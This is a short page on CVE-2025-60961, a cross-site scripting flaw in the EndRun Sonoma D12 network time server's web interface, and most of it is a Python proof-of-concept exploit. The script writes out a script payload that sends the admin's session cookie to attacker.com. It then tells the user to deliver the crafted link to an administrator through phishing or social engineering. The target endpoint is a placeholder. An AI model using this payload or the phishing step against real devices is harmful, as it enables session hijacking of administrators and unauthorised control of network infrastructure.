CVE-2025-60961：EndRun Sonoma D12网络时间服务器XSS漏洞

# CVE-2025-60961 - Sonoma D12 XSS PoC # Vulnerability: Reflected/Stored Cross-Site Scripting in Web Management Interface # Affected: EndRun Technologies Sonoma D12 Network Time Server # Firmware: F/W 6010-0071-000 Ver 4.00 import requests TARGET_URL = "http://<target-ip>/" # Replace with the actual vulnerable endpoint discovered during testing VULNERABLE_ENDPOINT = "<vulnerable_page>" # Malicious JavaScript payload to steal admin session cookie PAYLOAD = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie;</script>' def exploit_xss(): """ Exploit the XSS vulnerability by injecting malicious script through the vulnerable parameter in the web interface. """ # Construct the malicious URL malicious_url = f"{TARGET_URL}{VULNERABLE_ENDPOINT}?param={PAYLOAD}" print(f"[+] Crafted malicious URL: {malicious_url}") print("[+] Send this URL to the admin via phishing or social engineering") print("[+] When admin clicks, the script executes and steals the session cookie") # Verify the endpoint is reachable try: response = requests.get(TARGET_URL, timeout=5) print(f"[+] Target reachable, status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Target unreachable: {e}") if __name__ == "__main__": exploit_xss()